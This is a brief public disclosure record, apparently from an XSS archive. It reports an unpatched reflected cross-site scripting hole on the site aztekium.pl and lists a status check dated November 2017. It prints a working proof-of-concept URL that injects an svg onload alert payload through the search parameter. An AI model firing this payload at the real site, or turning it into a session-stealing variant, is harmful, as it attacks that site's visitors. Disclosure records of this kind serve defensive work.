aztekium.pl XSS vulnerability

Vulnerable URL: http://aztekium.pl/search.py?tekst=aifc%22%3E%3Csvg/onload=alert%28document.domain%29%3E〈=en Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 102486 VIP website...